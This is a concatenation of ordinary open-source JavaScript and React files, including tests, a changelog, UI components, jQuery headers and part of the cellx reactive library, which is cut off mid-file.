common({ themes }),
connect((state: State) => ({
currentLocale: state.intl.currentLocale,
})),
)(App);
|
ajax/libs/material-ui/4.11.3-deprecations.0/esm/List/List.min.js
|
cdnjs/cdnjs
|
import _extends from"@babel/runtime/helpers/esm/extends";import _objectWithoutProperties from"@babel/runtime/helpers/esm/objectWithoutProperties";import*as React from"react";import PropTypes from"prop-types";import clsx from"clsx";import withStyles from"../styles/withStyles";import ListContext from"./ListContext";export var styles={root:{listStyle:"none",margin:0,padding:0,position:"relative"},padding:{paddingTop:8,paddingBottom:8},dense:{},subheader:{paddingTop:0}};var List=React.forwardRef(function(e,t){var s=e.children,o=e.classes,r=e.className,i=e.component,n=void 0===i?"ul":i,p=e.dense,a=void 0!==p&&p,d=e.disablePadding,l=void 0!==d&&d,c=e.subheader,m=_objectWithoutProperties(e,["children","classes","className","component","dense","disablePadding","subheader"]),u=React.useMemo(function(){return{dense:a}},[a]);return React.createElement(ListContext.Provider,{value:u},React.createElement(n,_extends({className:clsx(o.root,r,a&&o.dense,!l&&o.padding,c&&o.subheader),ref:t},m),c,s))});"production"!==process.env.NODE_ENV&&(List.propTypes={children:PropTypes.node,classes:PropTypes.object.isRequired,className:PropTypes.string,component:PropTypes.elementType,dense:PropTypes.bool,disablePadding:PropTypes.bool,subheader:PropTypes.node});export default withStyles(styles,{name:"MuiList"})(List);
|
client/modules/App/__tests__/App.spec.js
|
Skrpk/mern-sagas
|
import React from 'react';
import PropTypes from 'prop-types';
import test from 'ava';
import sinon from 'sinon';
import Enzyme, { shallow, mount } from 'enzyme';
import Adapter from 'enzyme-adapter-react-16';
import { MemoryRouter } from 'react-router-dom';
import { Provider } from 'react-redux';
import { App } from '../App';
import styles from '../App.css';
import { intlShape } from 'react-intl';
import { intl } from '../../../util/react-intl-test-helper';
import { toggleAddPost } from '../AppActions';
import routes from '../../../routes';
import { configureStore } from '../../../store';
Enzyme.configure({ adapter: new Adapter() });
const intlProp = { ...intl, enabledLanguages: ['en', 'fr'] };
const children = <h1>Test</h1>;
const dispatch = sinon.spy();
const route = { routes };
const props = {
children,
dispatch,
intl: intlProp,
route,
};
test('renders properly', t => {
const wrapper = shallow(
<App {...props} />
);
t.is(wrapper.find('Header').length, 1);
t.is(wrapper.find('Footer').length, 1);
t.is(wrapper.find('Header').prop('toggleAddPost'), wrapper.instance().toggleAddPostSection);
t.truthy(wrapper.find('Header + main').hasClass(styles.container));
t.truthy(wrapper.find('Header + main').children(), children);
});
test('calls componentDidMount', t => {
sinon.spy(App.prototype, 'componentDidMount');
mount(
<MemoryRouter>
<Provider store={configureStore()}>
<App {...props} />
</Provider>
</MemoryRouter>,
{
context: {
router: {
isActive: sinon.stub().returns(true),
push: sinon.stub(),
replace: sinon.stub(),
go: sinon.stub(),
goBack: sinon.stub(),
goForward: sinon.stub(),
setRouteLeaveHook: sinon.stub(),
createHref: sinon.stub(),
},
intl,
},
childContextTypes: {
router: PropTypes.object,
intl: intlShape,
},
},
);
t.truthy(App.prototype.componentDidMount.calledTwice);
App.prototype.componentDidMount.restore();
});
test('calling toggleAddPostSection dispatches toggleAddPost', t => {
const wrapper = shallow(
<App {...props} />
);
wrapper.instance().toggleAddPostSection();
t.truthy(dispatch.calledOnce);
t.truthy(dispatch.calledWith(toggleAddPost()));
});
|
analysis/warlockaffliction/src/CHANGELOG.js
|
anom0ly/WoWAnalyzer
|
import { change, date } from 'common/changelog';
import SPELLS from 'common/SPELLS';
import { Dambroda, Sharrq, Maleficien, Akhtal } from 'CONTRIBUTORS';
import { SpellLink } from 'interface';
import React from 'react';
export default [
change(date(2021, 1, 18), <>Added support for <SpellLink id={SPELLS.SCOURING_TITHE.id}/>, <SpellLink id={SPELLS.IMPENDING_CATASTROPHE_CAST.id}/> and <SpellLink id={SPELLS.DECIMATING_BOLT.id}/>.</>, Akhtal),
change(date(2021, 1, 9), <>Update <SpellLink id={SPELLS.SUMMON_DARKGLARE.id}/> damage calculations to support <SpellLink id={SPELLS.VILE_TAINT_TALENT.id}/>, finish Typescript conversion.</>, Akhtal),
change(date(2020, 12, 30), <>Add support for <SpellLink id={SPELLS.SHADOW_EMBRACE.id}/> and <SpellLink id={SPELLS.HAUNT_TALENT.id}/> in debuff uptime, convert most analyzers to Typescript.</>, Akhtal),
change(date(2020, 12, 10), 'Updated spells for Shadowlands, added Night Fae spells, fix uptime bug for debuffs cast during pre-pull.', Maleficien),
change(date(2020, 10, 15), 'Updated Spellbook and added Conduit, Legendary, and Covenant Spell IDs', Sharrq),
change(date(2020, 10, 15), 'Fixed a crash in prepatch related to Unstable Affliction changes.', Dambroda),
change(date(2020, 10, 2), 'Deleted Azerite Traits, Updated Statistic Boxes and added Integration Tests.', Sharrq),
];
|
test/FormSpec.js
|
mmarcant/react-bootstrap
|
import React from 'react';
import $ from 'teaspoon';
import Form from '../src/Form';
import FormGroup from '../src/FormGroup';
describe('<Form>', () => {
it('should support horizontal', () => {
$(
<Form horizontal className="my-form">
<FormGroup />
</Form>
)
.shallowRender()
.single('form.form-horizontal.my-form')
.single(FormGroup);
});
it('should support inline', () => {
$(
<Form inline className="my-form">
<FormGroup />
</Form>
)
.shallowRender()
.single('form.form-inline.my-form')
.single(FormGroup);
});
it('should support custom componentClass', () => {
$(
<Form componentClass="fieldset" horizontal className="my-form">
<FormGroup />
</Form>
)
.shallowRender()
.single('fieldset.form-horizontal.my-form')
.single(FormGroup);
});
});
|
app/js/HomeScreenPage.js
|
blockstack/blockstack-portal
|
import PropTypes from 'prop-types'
import React from 'react'
import { bindActionCreators } from 'redux'
import { connect } from 'react-redux'
import Navbar from './components/Navbar'
import { AppsActions } from './store/apps'
import { Box, Flex, Type } from 'blockstack-ui'
import { Hover } from 'react-powerplug'
import { Spinner } from '@components/ui/components/spinner'
import { trackEventOnce } from './utils/server-utils'
const Loading = ({ ...rest }) => (
<Flex
flexDirection="column"
alignItems="center"
width={1}
justifyContent="center"
p={4}
{...rest}
>
<Box width="48px" mx="auto">
<Spinner color="black" size={48} />
</Box>
<Box py={4} textAlign="center">
<Type fontWeight="500" fontSize={2} opacity={0.5}>
Fetching apps...
</Type>
</Box>
</Flex>
)
const Content = ({ topApps, allApps, ...rest }) => {
if (!allApps) {
return null
}
return (
<Box maxWidth={1280} width="100%" mx="auto" p={[1, 2, 4]} {...rest}>
<AppsSection title="Top Apps" apps={topApps} limit={24} />
{allApps
.sort((a, b) => a.label.localeCompare(b.label))
.map(category => {
const apps = category.apps.sort((a, b) => a.name.localeCompare(b.name))
return <AppsSection title={category.label} apps={apps} />
})}
</Box>
)
}
const AppsSection = ({ title, apps, limit, category, ...rest }) => {
let appsList = apps.filter(app => app.imgixImageUrl)
if (limit) {
appsList = appsList.filter((app, i) => i <= limit - 1)
}
if (category) {
appsList = appsList.filter(app => app.category === category)
}
return (
<Box
width={1}
mx="auto"
p={4}
mb={4}
borderBottom="1px solid rgba(15,15,15,0.1)"
{...rest}
>
<Box textAlign="center">
<p className="app-section-heading">{title}</p>
</Box>
<Flex pt={4} flexWrap="wrap" justifyContent={['center', 'space-between']}>
{appsList.map(app => (
<AppItem
key={app.name}
name={app.name}
imgixImageUrl={app.imgixImageUrl}
website={app.website}
description={app.description}
/>
))}
</Flex>
</Box>
)
}
const Image = props => (
<Box
is="img"
borderRadius="15px"
boxShadow="1px 0px 18px 0px rgba(0, 0, 0, 0.1)"
bg="white"
{...props}
/>
)
const AppItem = ({ website, imgixImageUrl, name, description }) => {
const descMaxLength = 55
let desc = description.trim()
if (description[description.length - 1] !== '.') {
desc += '.'
}
if (description.length > descMaxLength) {
desc = <>{desc.substring(0, descMaxLength).trim()}…</>
}
return (
<Hover>
{({ bind, hovered }) => (
<Flex
width={['calc(50% - 10px)', 1 / 3, 1 / 3, 1 / 4]}
maxWidth={['160px', 'unset', 'unset', 'unset']}
pr={[0, 3, 3, 4]}
mb={5}
flexShrink={0}
flexGrow="1"
alignSelf="stretch"
transition="0.15s all ease-in-out"
transform={hovered ? 'translateY(-5px)' : 'none'}
color="blue.dark"
{...bind}
>
<Flex
maxWidth="100%"
width={1}
is="a"
flexGrow={1}
href={website}
target="_blank"
alignItems="center"
flexDirection={['column', 'row', 'row', 'row']}
textAlign={['center', 'left', 'left', 'left']}
style={{
textDecoration: 'none',
color: 'black !important'
}}
>
<Image
maxWidth="100%"
size="64px"
display="block"
flexShrink="0"
src={`${imgixImageUrl}?auto=format&w=128&q=50`}
alt={name}
/>
<Box ml={[0, 3, 3, 3]} mt={[3, 0, 0, 0]}>
<Box>
<Type
is="h3"
fontSize={[2]}
lineHeight={1.45}
fontWeight="600"
color="black !important"
mb={1}
>
{name}
</Type>
</Box>
<Box
opacity={0.75}
color="black !important"
style={{
hyphens: 'auto'
}}
>
{desc}
</Box>
</Box>
</Flex>
</Flex>
)}
</Hover>
)
}
class HomeScreenPage extends React.Component {
state = {
tracked: false
}
handleTrack = () => {
if (!this.state.tracked) {
trackEventOnce('Browser Data Fetch')
this.setState({ tracked: true })
}
}
componentDidMount() {
this.handleTrack()
}
render() {
const loading =
this.props.apps &&
this.props.apps.loading ||
!this.props.apps.topApps ||
!this.props.apps.topApps.length
return (
<Box>
<Navbar hideBackToHomeLink activeTab="home" />
<Box className="home-screen">
{loading ? (
<Loading />
) : (
<Content
allApps={!loading && this.props.apps.appsByCategory}
topApps={!loading && this.props.apps.topApps}
/>
)}
</Box>
</Box>
)
}
}
Content.propTypes = {
topApps: PropTypes.array.isRequired,
allApps: PropTypes.array.isRequired
}
AppsSection.propTypes = {
title: PropTypes.string.isRequired,
apps: PropTypes.array.isRequired,
limit: PropTypes.number.isRequired,
category: PropTypes.string.isRequired
}
AppItem.propTypes = {
website: PropTypes.string.isRequired,
imgixImageUrl: PropTypes.string.isRequired,
name: PropTypes.string.isRequired,
description: PropTypes.string.isRequired
}
HomeScreenPage.propTypes = {
apps: PropTypes.object.isRequired,
refreshAppList: PropTypes.func.isRequired,
doFetchApps: PropTypes.func.isRequired,
appListLastUpdated: PropTypes.number,
api: PropTypes.object.isRequired,
instanceIdentifier: PropTypes.string,
instanceCreationDate: PropTypes.number
}
const mapStateToProps = state => ({
apps: state.apps,
appListLastUpdated: state.apps.lastUpdated,
api: state.settings.api,
instanceIdentifier: state.apps.instanceIdentifier,
instanceCreationDate: state.apps.instanceCreationDate
})
const mapDispatchToProps = dispatch =>
bindActionCreators({ ...AppsActions }, dispatch)
export default connect(
mapStateToProps,
mapDispatchToProps
)(HomeScreenPage)
|
ajax/libs/jquery/1.7.2/jquery.min.js
|
aminghaderi/cdnjs
|
/*! jQuery v1.7.2 jquery.com | jquery.org/license */
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|
wa-data/public/shop/themes/fonarik/js/jquery-1.4.2.min.js
|
dmitriyzhdankin/fonarikloc
|
/*!
* jQuery JavaScript Library v1.4.2
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2010, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: Sat Feb 13 22:33:48 2010 -0500
*/
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|
dva/dva-quickstart/src/components/Users/UserList.js
|
imuntil/React
|
import React from 'react'
import PropTypes from 'prop-types'
import { Table, message, Popconfirm } from 'antd'
const UserList = ({ total, current, loading, dataSource}) => {
const columns = [{
title: '姓名',
dataIndex: 'name',
key: 'name',
render: text => <a href="#">{text}</a>
}, {
title: '年龄',
dataIndex: 'age',
key: 'age'
}, {
title: '住址',
dataIndex: 'address',
key: 'address'
}, {
title: '操作',
key: 'operation',
render: (text, record) => (
<p>
<a onClick={() => {}}>编辑</a>
<Popconfirm title="确定要删除么？" onConfirm={() => {}}>
<a>删除</a>
</Popconfirm>
</p>
)
}]
// 定义分页对象
const pagination = {
total,
current,
pageSize: 10,
onChange: () => {}
}
return (
<div>
<Table
columns={columns}
dataSource={dataSource}
loading={loading}
rowKey={record => record.id}
pagination={pagination}
/>
</div>
)
}
export default UserList
|
packages/react-server-examples/bike-share/pages/not-found.js
|
emecell/react-server
|
import React from 'react';
import {RootElement} from 'react-server';
import Header from '../components/header';
import Footer from '../components/footer';
import Error from '../components/error';
import '../styles/index.scss';
export default class NotFoundPage {
handleRoute () {
return {code: 404, hasDocument: true};
}
getElements () {
return [
<RootElement key={0}>
<Header/>
</RootElement>,
<RootElement key={1}>
<Error />
</RootElement>,
<RootElement key={2}>
<Footer/>
</RootElement>,
]
}
getBodyClasses() {
return ['page-body'];
}
}
|
ajax/libs/cellx/1.6.75/cellx.js
|
joeyparrish/cdnjs
|
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define(factory) :
(global.cellx = factory());
}(this, (function () { 'use strict';
var ErrorLogger = {
_handler: null,
/**
* @typesign (handler: (...msg));
*/
setHandler: function setHandler(handler) {
this._handler = handler;
},
/**
* @typesign (...msg);
*/
log: function log() {
this._handler.apply(this, arguments);
}
};
var uidCounter = 0;
/**
* @typesign () -> string;
*/
function nextUID() {
return String(++uidCounter);
}
var Symbol = Function('return this;')().Symbol;
if (!Symbol) {
Symbol = function Symbol(key) {
return '__' + key + '_' + Math.floor(Math.random() * 1e9) + '_' + nextUID() + '__';
};
Symbol.iterator = Symbol('Symbol.iterator');
}
var Symbol$1 = Symbol;
var UID = Symbol$1('cellx.uid');
var CELLS = Symbol$1('cellx.cells');
var global$1 = Function('return this;')();
/**
* @typesign (a, b) -> boolean;
*/
var is = Object.is || function is(a, b) {
if (a === 0 && b === 0) {
return 1 / a == 1 / b;
}
return a === b || (a != a && b != b);
};
var hasOwn = Object.prototype.hasOwnProperty;
/**
* @typesign (target: Object, source: Object) -> Object;
*/
function mixin(target, source) {
var names = Object.getOwnPropertyNames(source);
for (var i = 0, l = names.length; i < l; i++) {
var name = names[i];
Object.defineProperty(target, name, Object.getOwnPropertyDescriptor(source, name));
}
return target;
}
var extend;
/**
* @typesign (description: {
* Extends?: Function,
* Implements?: Array<Object|Function>,
* Static?: Object,
* constructor?: Function,
* [key: string]
* }) -> Function;
*/
function createClass(description) {
var parent;
if (description.Extends) {
parent = description.Extends;
delete description.Extends;
} else {
parent = Object;
}
var constr;
if (hasOwn.call(description, 'constructor')) {
constr = description.constructor;
delete description.constructor;
} else {
constr = parent == Object ?
function() {} :
function() {
return parent.apply(this, arguments);
};
}
var proto = constr.prototype = Object.create(parent.prototype);
if (description.Implements) {
description.Implements.forEach((function(implementation) {
if (typeof implementation == 'function') {
Object.keys(implementation).forEach((function(name) {
Object.defineProperty(constr, name, Object.getOwnPropertyDescriptor(implementation, name));
}));
mixin(proto, implementation.prototype);
} else {
mixin(proto, implementation);
}
}));
delete description.Implements;
}
Object.keys(parent).forEach((function(name) {
Object.defineProperty(constr, name, Object.getOwnPropertyDescriptor(parent, name));
}));
if (description.Static) {
mixin(constr, description.Static);
delete description.Static;
}
if (constr.extend === void 0) {
constr.extend = extend;
}
mixin(proto, description);
Object.defineProperty(proto, 'constructor', {
configurable: true,
writable: true,
value: constr
});
return constr;
}
/**
* @this {Function}
*
* @typesign (description: {
* Implements?: Array<Object|Function>,
* Static?: Object,
* constructor?: Function,
* [key: string]
* }) -> Function;
*/
extend = function extend(description) {
description.Extends = this;
return createClass(description);
};
var Map = global$1.Map;
if (!Map) {
var entryStub = {
value: void 0
};
Map = createClass({
constructor: function Map(entries) {
this._entries = Object.create(null);
this._objectStamps = {};
this._first = null;
this._last = null;
this.size = 0;
if (entries) {
for (var i = 0, l = entries.length; i < l; i++) {
this.set(entries[i][0], entries[i][1]);
}
}
},
has: function has(key) {
return !!this._entries[this._getValueStamp(key)];
},
get: function get(key) {
return (this._entries[this._getValueStamp(key)] || entryStub).value;
},
set: function set(key, value) {
var entries = this._entries;
var keyStamp = this._getValueStamp(key);
if (entries[keyStamp]) {
entries[keyStamp].value = value;
} else {
var entry = entries[keyStamp] = {
key: key,
keyStamp: keyStamp,
value: value,
prev: this._last,
next: null
};
if (this.size++) {
this._last.next = entry;
} else {
this._first = entry;
}
this._last = entry;
}
return this;
},
delete: function delete_(key) {
var keyStamp = this._getValueStamp(key);
var entry = this._entries[keyStamp];
if (!entry) {
return false;
}
if (--this.size) {
var prev = entry.prev;
var next = entry.next;
if (prev) {
prev.next = next;
} else {
this._first = next;
}
if (next) {
next.prev = prev;
} else {
this._last = prev;
}
} else {
this._first = null;
this._last = null;
}
delete this._entries[keyStamp];
delete this._objectStamps[keyStamp];
return true;
},
clear: function clear() {
var entries = this._entries;
for (var stamp in entries) {
delete entries[stamp];
}
this._objectStamps = {};
this._first = null;
this._last = null;
this.size = 0;
},
_getValueStamp: function _getValueStamp(value) {
switch (typeof value) {
case 'undefined': {
return 'undefined';
}
case 'object': {
if (value === null) {
return 'null';
}
break;
}
case 'boolean': {
return '?' + value;
}
case 'number': {
return '+' + value;
}
case 'string': {
return ',' + value;
}
}
return this._getObjectStamp(value);
},
_getObjectStamp: function _getObjectStamp(obj) {
if (!hasOwn.call(obj, UID)) {
if (!Object.isExtensible(obj)) {
var stamps = this._objectStamps;
var stamp;
for (stamp in stamps) {
if (hasOwn.call(stamps, stamp) && stamps[stamp] == obj) {
return stamp;
}
}
stamp = nextUID();
stamps[stamp] = obj;
return stamp;
}
Object.defineProperty(obj, UID, {
value: nextUID()
});
}
return obj[UID];
},
forEach: function forEach(cb, context) {
var entry = this._first;
while (entry) {
cb.call(context, entry.value, entry.key, this);
do {
entry = entry.next;
} while (entry && !this._entries[entry.keyStamp]);
}
},
toString: function toString() {
return '[object Map]';
}
});
[
['keys', function keys(entry) {
return entry.key;
}],
['values', function values(entry) {
return entry.value;
}],
['entries', function entries(entry) {
return [entry.key, entry.value];
}]
].forEach((function(settings) {
var getStepValue = settings[1];
Map.prototype[settings[0]] = function() {
var entries = this._entries;
var entry;
var done = false;
var map = this;
return {
next: function() {
if (!done) {
if (entry) {
do {
entry = entry.next;
} while (entry && !entries[entry.keyStamp]);
} else {
entry = map._first;
}
if (entry) {
return {
value: getStepValue(entry),
done: false
};
}
done = true;
}
return {
value: void 0,
done: true
};
}
};
};
}));
}
if (!Map.prototype[Symbol$1.iterator]) {
Map.prototype[Symbol$1.iterator] = Map.prototype.entries;
}
var Map$1 = Map;
var KEY_IS_EMITTER_EVENT = Symbol$1('cellx.EventEmitter~isEmitterEvent');
var KEY_INNER = Symbol$1('cellx.EventEmitter.inner');
/**
* @typedef {{
* target?: Object,
* type: string,
* bubbles?: boolean,
* isPropagationStopped?: boolean
* }} cellx~Event
*/
/**
* @class cellx.EventEmitter
* @extends {Object}
* @typesign new EventEmitter() -> cellx.EventEmitter;
*/
var EventEmitter = createClass({
Static: {
KEY_INNER: KEY_INNER
},
constructor: function EventEmitter() {
/**
* @type {Object<Array<{
* listener: (evt: cellx~Event) -> ?boolean,
* context
* }>>}
*/
this._events = new Map$1();
},
/**
* @typesign (type?: string) -> Array<{ listener: (evt: cellx~Event) -> ?boolean, context }> |
* Object<Array<{ listener: (evt: cellx~Event) -> ?boolean, context }>>;
*/
getEvents: function getEvents(type) {
if (type) {
var events = this._events && this._events.get(type);
if (!events) {
return [];
}
return events._isEmitterEvent === KEY_IS_EMITTER_EVENT ? [events] : events;
}
var resultEvents = Object.create(null);
this._events.forEach((function(events, type) {
resultEvents[type] = events._isEmitterEvent === KEY_IS_EMITTER_EVENT ? [events] : events;
}));
return resultEvents;
},
/**
* @typesign (
* type: string,
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.EventEmitter;
*
* @typesign (
* listeners: Object<(evt: cellx~Event) -> ?boolean>,
* context?
* ) -> cellx.EventEmitter;
*/
on: function on(type, listener, context) {
if (typeof type == 'object') {
context = arguments.length >= 2 ? listener : this;
var listeners = type;
for (type in listeners) {
this._on(type, listeners[type], context);
}
} else {
this._on(type, listener, arguments.length >= 3 ? context : this);
}
return this;
},
/**
* @typesign (
* type: string,
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.EventEmitter;
*
* @typesign (
* listeners: Object<(evt: cellx~Event) -> ?boolean>,
* context?
* ) -> cellx.EventEmitter;
*
* @typesign () -> cellx.EventEmitter;
*/
off: function off(type, listener, context) {
var argCount = arguments.length;
if (argCount) {
if (typeof type == 'object') {
context = argCount >= 2 ? listener : this;
var listeners = type;
for (type in listeners) {
this._off(type, listeners[type], context);
}
} else {
this._off(type, listener, argCount >= 3 ? context : this);
}
} else if (this._events) {
this._events.clear();
}
return this;
},
/**
* @typesign (
* type: string,
* listener: (evt: cellx~Event) -> ?boolean,
* context
* );
*/
_on: function _on(type, listener, context) {
var index = type.indexOf(':');
if (index != -1) {
this['_' + type.slice(index + 1)].on(type.slice(0, index), listener, context);
} else {
var events = (this._events || (this._events = new Map$1())).get(type);
var evt = {
_isEmitterEvent: KEY_IS_EMITTER_EVENT,
listener: listener,
context: context
};
if (!events) {
this._events.set(type, evt);
} else if (events._isEmitterEvent === KEY_IS_EMITTER_EVENT) {
this._events.set(type, [events, evt]);
} else {
events.push(evt);
}
}
},
/**
* @typesign (
* type: string,
* listener: (evt: cellx~Event) -> ?boolean,
* context
* );
*/
_off: function _off(type, listener, context) {
var index = type.indexOf(':');
if (index != -1) {
this['_' + type.slice(index + 1)].off(type.slice(0, index), listener, context);
} else {
var events = this._events && this._events.get(type);
if (!events) {
return;
}
if (events._isEmitterEvent === KEY_IS_EMITTER_EVENT) {
if (
(events.listener == listener || events.listener[KEY_INNER] === listener) &&
events.context === context
) {
this._events.delete(type);
}
} else {
var eventCount = events.length;
if (eventCount == 1) {
var evt = events[0];
if ((evt.listener == listener || evt.listener[KEY_INNER] === listener) && evt.context === context) {
this._events.delete(type);
}
} else {
for (var i = eventCount; i;) {
var evt2 = events[--i];
if (
(evt2.listener == listener || evt2.listener[KEY_INNER] === listener) &&
evt2.context === context
) {
events.splice(i, 1);
break;
}
}
}
}
}
},
/**
* @typesign (
* type: string,
* listener: (evt: cellx~Event) -> ?boolean,
* context?
* ) -> cellx.EventEmitter;
*/
once: function once(type, listener, context) {
if (arguments.length < 3) {
context = this;
}
function wrapper() {
this._off(type, wrapper, context);
return listener.apply(this, arguments);
}
wrapper[KEY_INNER] = listener;
this._on(type, wrapper, context);
return this;
},
/**
* @typesign (evt: cellx~Event) -> cellx~Event;
* @typesign (type: string) -> cellx~Event;
*/
emit: function emit(evt) {
if (typeof evt == 'string') {
evt = {
target: this,
type: evt
};
} else if (!evt.target) {
evt.target = this;
} else if (evt.target != this) {
throw new TypeError('Event cannot be emitted on this object');
}
this._handleEvent(evt);
return evt;
},
/**
* @typesign (evt: cellx~Event);
*
* For override:
* @example
* function View(el) {
* this.element = el;
* el._view = this;
* }
*
* View.prototype = Object.create(EventEmitter.prototype);
* View.prototype.constructor = View;
*
* View.prototype.getParent = function() {
* var node = this.element;
*
* while (node = node.parentNode) {
* if (node._view) {
* return node._view;
* }
* }
*
* return null;
* };
*
* View.prototype._handleEvent = function(evt) {
* EventEmitter.prototype._handleEvent.call(this, evt);
*
* if (evt.bubbles !== false && !evt.isPropagationStopped) {
* var parent = this.getParent();
*
* if (parent) {
* parent._handleEvent(evt);
* }
* }
* };
*/
_handleEvent: function _handleEvent(evt) {
var events = this._events && this._events.get(evt.type);
if (!events) {
return;
}
if (events._isEmitterEvent === KEY_IS_EMITTER_EVENT) {
if (this._tryEventListener(events, evt) === false) {
evt.isPropagationStopped = true;
}
} else {
var eventCount = events.length;
if (eventCount == 1) {
if (this._tryEventListener(events[0], evt) === false) {
evt.isPropagationStopped = true;
}
} else {
events = events.slice();
for (var i = 0; i < eventCount; i++) {
if (this._tryEventListener(events[i], evt) === false) {
evt.isPropagationStopped = true;
}
}
}
}
},
_tryEventListener: function _tryEventListener(emEvt, evt) {
try {
return emEvt.listener.call(emEvt.context, evt);
} catch (err) {
this._logError(err);
}
},
/**
* @typesign (...msg);
*/
_logError: function _logError() {
ErrorLogger.log.apply(ErrorLogger, arguments);
}
});
var ObservableCollectionMixin = EventEmitter.extend({
constructor: function ObservableCollectionMixin() {
/**
* @type {Map<*, uint>}
*/
this._valueCounts = new Map$1();
},
/**
* @typesign (evt: cellx~Event);
*/
_onItemChange: function _onItemChange(evt) {
this._handleEvent(evt);
},
/**
* @typesign (value);
*/
_registerValue: function _registerValue(value) {
var valueCounts = this._valueCounts;
var valueCount = valueCounts.get(value);
if (valueCount) {
valueCounts.set(value, valueCount + 1);
} else {
valueCounts.set(value, 1);
if (this.adoptsValueChanges && value instanceof EventEmitter) {
value.on('change', this._onItemChange, this);
}
}
},
/**
* @typesign (value);
*/
_unregisterValue: function _unregisterValue(value) {
var valueCounts = this._valueCounts;
var valueCount = valueCounts.get(value);
if (valueCount > 1) {
valueCounts.set(value, valueCount - 1);
} else {
valueCounts.delete(value);
if (this.adoptsValueChanges && value instanceof EventEmitter) {
value.off('change', this._onItemChange, this);
}
}
}
});
/**
* @class cellx.ObservableMap
* @extends {cellx.EventEmitter}
* @implements {cellx.ObservableCollectionMixin}
*
* @typesign new ObservableMap(entries?: Object|cellx.ObservableMap|Map|Array<{ 0, 1 }>, opts?: {
* adoptsValueChanges?: boolean
* }) -> cellx.ObservableMap;
*/
var ObservableMap = EventEmitter.extend({
Implements: [ObservableCollectionMixin],
constructor: function ObservableMap(entries, opts) {
EventEmitter.call(this);
ObservableCollectionMixin.call(this);
this._entries = new Map$1();
this.size = 0;
/**
* @type {boolean}
*/
this.adoptsValueChanges = !!(opts && opts.adoptsValueChanges);
if (entries) {
var mapEntries = this._entries;
if (entries instanceof ObservableMap || entries instanceof Map$1) {
entries._entries.forEach((function(value, key) {
this._registerValue(value);
mapEntries.set(key, value);
}), this);
} else if (Array.isArray(entries)) {
for (var i = 0, l = entries.length; i < l; i++) {
var entry = entries[i];
this._registerValue(entry[1]);
mapEntries.set(entry[0], entry[1]);
}
} else {
for (var key in entries) {
this._registerValue(entries[key]);
mapEntries.set(key, entries[key]);
}
}
this.size = mapEntries.size;
}
},
/**
* @typesign (key) -> boolean;
*/
has: function has(key) {
return this._entries.has(key);
},
/**
* @typesign (value) -> boolean;
*/
contains: function contains(value) {
return this._valueCounts.has(value);
},
/**
* @typesign (key) -> *;
*/
get: function get(key) {
return this._entries.get(key);
},
/**
* @typesign (key, value) -> cellx.ObservableMap;
*/
set: function set(key, value) {
var entries = this._entries;
var hasKey = entries.has(key);
var oldValue;
if (hasKey) {
oldValue = entries.get(key);
if (is(value, oldValue)) {
return this;
}
this._unregisterValue(oldValue);
}
this._registerValue(value);
entries.set(key, value);
if (!hasKey) {
this.size++;
}
this.emit({
type: 'change',
subtype: hasKey ? 'update' : 'add',
key: key,
oldValue: oldValue,
value: value
});
return this;
},
/**
* @typesign (key) -> boolean;
*/
delete: function delete_(key) {
var entries = this._entries;
if (!entries.has(key)) {
return false;
}
var value = entries.get(key);
this._unregisterValue(value);
entries.delete(key);
this.size--;
this.emit({
type: 'change',
subtype: 'delete',
key: key,
oldValue: value,
value: void 0
});
return true;
},
/**
* @typesign () -> cellx.ObservableMap;
*/
clear: function clear() {
if (!this.size) {
return this;
}
if (this.adoptsValueChanges) {
this._valueCounts.forEach((function(value) {
if (value instanceof EventEmitter) {
value.off('change', this._onItemChange, this);
}
}), this);
}
this._entries.clear();
this._valueCounts.clear();
this.size = 0;
this.emit({
type: 'change',
subtype: 'clear'
});
return this;
},
/**
* @typesign (
* cb: (value, key, map: cellx.ObservableMap),
* context?
* );
*/
forEach: function forEach(cb, context) {
this._entries.forEach((function(value, key) {
cb.call(context, value, key, this);
}), this);
},
/**
* @typesign () -> { next: () -> { value, done: boolean } };
*/
keys: function keys() {
return this._entries.keys();
},
/**
* @typesign () -> { next: () -> { value, done: boolean } };
*/
values: function values() {
return this._entries.values();
},
/**
* @typesign () -> { next: () -> { value: { 0, 1 }, done: boolean } };
*/
entries: function entries() {
return this._entries.entries();
},
/**
* @typesign () -> cellx.ObservableMap;
*/
clone: function clone() {
return new this.constructor(this, {
adoptsValueChanges: this.adoptsValueChanges
});
}
});
ObservableMap.prototype[Symbol$1.iterator] = ObservableMap.prototype.entries;
var slice = Array.prototype.slice;
var push$1 = Array.prototype.push;
var splice = Array.prototype.splice;
var map$1 = Array.prototype.map;
/**
* @typesign (a, b) -> -1|1|0;
*/
function defaultComparator(a, b) {
if (a < b) { return -1; }
if (a > b) { return 1; }
return 0;
}
/**
* @class cellx.ObservableList
* @extends {cellx.EventEmitter}
* @implements {cellx.ObservableCollectionMixin}
*
* @typesign new ObservableList(items?: Array|cellx.ObservableList, opts?: {
* adoptsValueChanges?: boolean,
* comparator?: (a, b) -> int,
* sorted?: boolean
* }) -> cellx.ObservableList;
*/
var ObservableList = EventEmitter.extend({
Implements: [ObservableCollectionMixin],
constructor: function ObservableList(items, opts) {
EventEmitter.call(this);
ObservableCollectionMixin.call(this);
if (!opts) {
opts = {};
}
this._items = [];
this.length = 0;
/**
* @type {boolean}
*/
this.adoptsValueChanges = !!opts.adoptsValueChanges;
/**
* @type {?(a, b) -> int}
*/
this.comparator = null;
this.sorted = false;
if (opts.sorted || (opts.comparator && opts.sorted !== false)) {
this.comparator = opts.comparator || defaultComparator;
this.sorted = true;
}
if (items) {
this._addRange(items);
}
},
/**
* @typesign (index: ?int, allowedEndIndex?: boolean) -> ?uint;
*/
_validateIndex: function _validateIndex(index, allowedEndIndex) {
if (index === void 0) {
return index;
}
if (index < 0) {
index += this.length;
if (index < 0) {
throw new RangeError('Index out of valid range');
}
} else if (index >= (this.length + (allowedEndIndex ? 1 : 0))) {
throw new RangeError('Index out of valid range');
}
return index;
},
/**
* @typesign (value) -> boolean;
*/
contains: function contains(value) {
return this._valueCounts.has(value);
},
/**
